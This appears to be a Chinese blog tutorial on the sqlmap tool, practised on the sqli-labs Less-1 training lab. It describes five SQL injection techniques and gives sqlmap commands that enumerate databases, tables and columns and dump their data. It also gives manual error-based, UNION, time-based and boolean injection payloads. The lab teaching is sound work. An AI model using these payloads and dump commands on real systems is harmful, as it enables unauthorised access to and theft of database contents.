SQL注入漏洞扫描---sqlmap

news/2024/9/20 6:48:20/ 标签: sql, 数据库

what

SQLMap是一款先进的自动执行SQL注入的审计工具。当给定一个URL时,SQLMap会执行以下操作:

  1. 判断可注入的参数。
  2. 判断可以用哪种SQL注入技术来注入。
  3. 识别出目标使用哪种数据库
  4. 根据用户的选择,读取哪些数据库中的数据。

更详细语法请参考官方手册---用法 | sqlmap 用户手册 (highlight.ink)

支持类型

sqlmap 可用于检测利用五种不同类型的 SQL 注入。

  • 布尔型盲注(Boolean-based blind)sqlmap 会替换或添加 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的 SELECT 子查询,也可以是任意用于获取输出数据的 SQL 语句。针对每个注入检测的 HTTP 响应,sqlmap 通过对比原始请求响应的 headers/body,从而逐个字符地推导出注入语句的输出。或者,用户可以预先提供一个字符串或正则表达式,用于对正确页面结果进行匹配。sqlmap 内部实现了二分算法,使得输出中的每一个字符可在最多 7 个 HTTP 请求内被获取。如果请求响应结果不是简单的明文字符集,sqlmap 会采取更大范围的算法来检测输出。

  • 时间型盲注(Time-based blind)sqlmap 会替换或者添加相关的 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的、用于使后端 DBMS(Database Management System,数据库管理系统)延迟几秒响应的查询。针对每一个注入检测的 HTTP 响应,通过对 HTTP 响应时间与原始请求之间进行比较,从而逐个字符地推导出注入语句的输出。正如基于布尔型盲注的技术一样,二分算法也会被应用。

  • 报错型注入(Error-based)sqlmap 会替换或者添加用于引发特定数据库错误的 SQL 语句到查询参数里面,并通过解析对应的注入结果,判断特定的数据库错误信息是否存在响应的 headers/body 中。这项技术只有在 Web 应用配置开启后端 DBMS 错误信息提醒才有效。

  • 联合查询注入(UNION query-based)sqlmap 会在查询参数中添加以 UNION ALL SELECT 开头的合法 SQL 语句。当 Web 应用在 for 循环中直接传递 SELECT 语句的查询结果,或采用了类似的方法将查询结果在页面中逐行输出时,这项技术会生效。当查询结果不使用 for 循环进行全部输出而只输出首个结果,sqlmap 还能够利用偏(单入口)联合查询 SQL 注入漏洞。

  • 堆叠查询注入(Stacked queries),也被称为捎带查询注入(piggy backing)sqlmap 会测试 Web 应用是否支持堆叠查询,如果支持,则在 HTTP 请求的查询参数中添加一个分号(;),并在后面加上注入的 SQL 语句。这项技术不仅适用于执行 SELECT 语句,同样适用于执行数据定义或者数据操作等 SQL 语句,同时可能可以获取到文件系统的读写权限和系统命令执行权限,不过这很大程度上取决于底层 DBMS 和当前会话用户的权限。

how---less-1为例

sqlmap在kali中自动集成,若要在Windows中使用需要python2.x版本

1 检测网站是否存在sql注入漏洞的注入点

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1(id为)

(-u 前提是检测参数为GET参数)

结果显示参数id是注入点,有存在多个sql注入漏洞,分别是布尔盲注、错误注入、时间盲注、union联合注入

并且返回了该网站基于的数据库类型

我们来验证一下---

错误注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ 

union联合注入

 ?id=100000' union select 1,2,3 --+

 时间盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+ 

布尔盲注

id=1' and substr(database(),1,1)='s'--+

2.列举可用数据库

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

 3 列举数据库中的数据表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4 列举数据表中的字段

?id=1 -D security -T emails --columns

5 输出目标字段的具体内容

?id=1 -D security -T emails -C email_id --dump

注:若字段数不多,4与5可以合并成     ?id=1 -D security -T emails -dump 

效果就是列举该表下的所有字段以及字段的内容,以及对应关系 观察更方便

若字段内容的多少可以用--count查看

若想查看指定行数的字段内容可以 --start(起始条数) --stop(终止条数)

?id=1 -D security -T emails --start 2 --stop 3 --dump


http://www.ppmy.cn/news/1451959.html

相关文章

C语言:指针详解(3)

目录 一、字符指针 二、数组指针 1.数组指针的定义 2.数组指针的初始化 3. 二维数组传参的本质 三、函数指针 1.函数指针的创建 2.函数指针的使用 3.有趣的代码(1) 4.有趣的代码(2) 四、typedef关键字 1.typedef的使用方法 2.typedef和#define的区别 五、函数指针…

Ubuntu22.04安装Nvidia 550驱动和CUDA toolkit 12.4.1

1. 安装显卡驱动550版本: wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-keyring_1.1-1_all.deb sudo dpkg -i cuda-keyring_1.1-1_all.deb sudo apt-get update sudo apt-get -y install cuda-drivers 命令来源于&…

牛客Xorto

Xorto 题目描述 给定一个长度为n的整数数组&#xff0c;问有多少对互不重叠的非空区间&#xff0c;使得两个区间内的数的异或和为0。 输入描述: 第一行一个数n表示数组长度&#xff1b; 第二行n个整数表示数组&#xff1b; 1<n<1000,0<数组元素<100000。 输出…

【Android学习】简易计算器的实现

1.项目基础目录 新增dimens.xml 用于控制全部按钮的尺寸。图片资源放在drawable中。 另外 themes.xml中原来的 <style name"Theme.Learn" parent"Theme.MaterialComponents.DayNight.DarkActionBar">变为了&#xff0c;加上后可针对button中增加图片…

Angular中的管道(Pipe)

Angular中的管道(Pipe) 文章目录 Angular中的管道(Pipe)前言一、内置管道1. date管道格式化日期2. currency管道格式化货币3. uppercase和lowercase管道转换字符串大小写4. 小数位数5. JavaScript 对象序列化6. slice7. 管道链 二、自定义管道 前言 Angular中的管道&#xff0…

[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

查看保护 查看ida 大致就是只能创建0x60大小的堆块&#xff0c;并且uaf只能利用一次 完整exp&#xff1a; from pwn import* #context(log_leveldebug) pprocess(./ezheap2.31)def alloc(content):p.sendlineafter(b4.exit,b1)p.send(content) def free(index):p.sendlineaft…

Qt扫盲-Qt D-Bus概述

Qt D-Bus概述 一、概述二、总线三、相关概念1. 消息2. 服务名称3. 对象的路径4. 接口5. 备忘单 四、调试五、使用Qt D-Bus 适配器1. 在 D-Bus 适配器中声明槽函数1. 异步槽2. 只输入槽3. 输入输出槽4. 自动回复5. 延迟回复 一、概述 D-Bus是一种进程间通信(IPC)和远程过程调用…

ubuntu Qt打包

在Linux 下如何打包免安装的QT程序&#xff1f;-CSDN博客 [教程][Ubuntu][Qt]将Qt程序打包成deb文件&#xff0c;发布、安装及使用_qt生成deb-CSDN博客

前端关于location的方法以属性

目录 一、location是用来做什么的&#xff1f; 二、location的属性和方法能实现什么功能&#xff1f; 功能一&#xff1a;获取当前页面的URL信息 功能二&#xff1a;页面跳转 location.assign() 附&#xff1a;其他页面跳转的方法 1.location.href 2.window.open() …

QAnything知识库问答系统离线部署(LLM+RAG)

一、QAnything介绍 &#xff08;一&#xff09;简介 QAnything 是网易有道开源的一个问答系统框架&#xff0c;支持私有化部署和SaaS服务两种调用形式。它能够支持多种格式的文件或数据库&#xff0c;提供准确、快速和可靠的问答体验。目前已支持的文件格式包括PDF、Word、PP…

微信小程序开发:深入实现地图导航功能【含代码示例】

微信小程序开发&#xff1a;深入实现地图导航功能【含代码示例】 一、引言二、准备工作三、集成地图SDK四、实现地图显示五、添加标记点和路线 一、引言 微信小程序作为一种轻量级的应用程序&#xff0c;凭借其无需安装、即用即走的特点&#xff0c;迅速在移动应用市场中占据了…

【软件工程】概要设计

目录 前言软件设计简介概要设计模块化模块化的评价耦合内聚 面向对象设计原则Liskov替换原则&#xff08;LSP&#xff09;开放-封闭原则&#xff08;OCP&#xff09;单一职责原则&#xff08;SRP&#xff09;接口隔离原则&#xff08;ISP&#xff09;依赖倒置原则&#xff08;D…

关于springboot内置tomcat最大请求数配置的一些问题

前言 springboot内置了tomcat。那么一个springboot web应用&#xff0c;最大的请求链接数是多少呢&#xff1f;很早以前就知道这个是有个配置&#xff0c;需要的时候&#xff0c;百度一下即可。但&#xff0c;事实并非如此&#xff0c;有几个问题我想大多数人还真不知道。比如…

基于Sping Boot集成的websocket实现聊天室

Spring Boot整合WebSocket实现聊天室 Spring Boot 提供了 Websocket 组件 spring-boot-starter-websocket&#xff0c;用来支持在 Spring Boot环境下对Websocket 的使用。 下面我们就以多人在线聊天室为例&#xff0c;演示 Spring Boot 是如何整合Websocket 实现服务端消息推…

python(abi)是什么,有什么作用呢

python(abi) 是一个特殊的提供项&#xff0c;用于指定软件包所支持的Python ABI&#xff08;Application Binary Interface&#xff09;版本。 Python ABI是一种约定&#xff0c;用于定义Python解释器和扩展模块之间的二进制接口。它确保了不同版本的Python解释器和扩展模块之…

如何使用提示测试为LLMs构建单元测试?

原文地址&#xff1a;how-to-build-unit-tests-for-llms-using-prompt-testing 确保您的人工智能交付&#xff1a;快速测试完美生成应用程序的基本指南 2024 年 4 月 26 日 如果你曾经编写过软件&#xff0c;你就会知道测试是开发过程中必不可少的一部分。特别是单元测试&#…

JavaWeb--1.Servlet

Servlet&#xff08;基础&#xff09; 1、配置依赖&#xff1a; ​ 在pom.xml文件中加入相关依赖 <dependencies><dependency><groupId>jakarta.servlet</groupId><artifactId>jakarta.servlet-api</artifactId><version>5.0.0&l…

KAN网络认识

首先&#xff0c;这是一个基于柯尔莫哥洛夫-阿诺德表示定理的网络。这个定理指出如果函数f是定义在有界域上的多变量连续函数&#xff08;即最终要拟合的非线性函数是连续的&#xff09;&#xff0c;那么该函数就可以表示为多个单变量、加法连续函数的有线组合。 对于机器学习…

手撸Mybatis(三)——收敛SQL操作到SqlSession

本专栏的源码&#xff1a;https://gitee.com/dhi-chen-xiaoyang/yang-mybatis。 引言 在上一章中&#xff0c;我们实现了读取mapper配置并构造相关的mapper代理对象&#xff0c;读取mapper.xml文件中的sql信息等操作&#xff0c;现在&#xff0c;在上一章的基础上&#xff0c…

【热门话题】Chrome 插件研发详解:从入门到实践

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 Chrome 插件研发详解&#xff1a;从入门到实践一、引言二、Chrome 插件基础概念…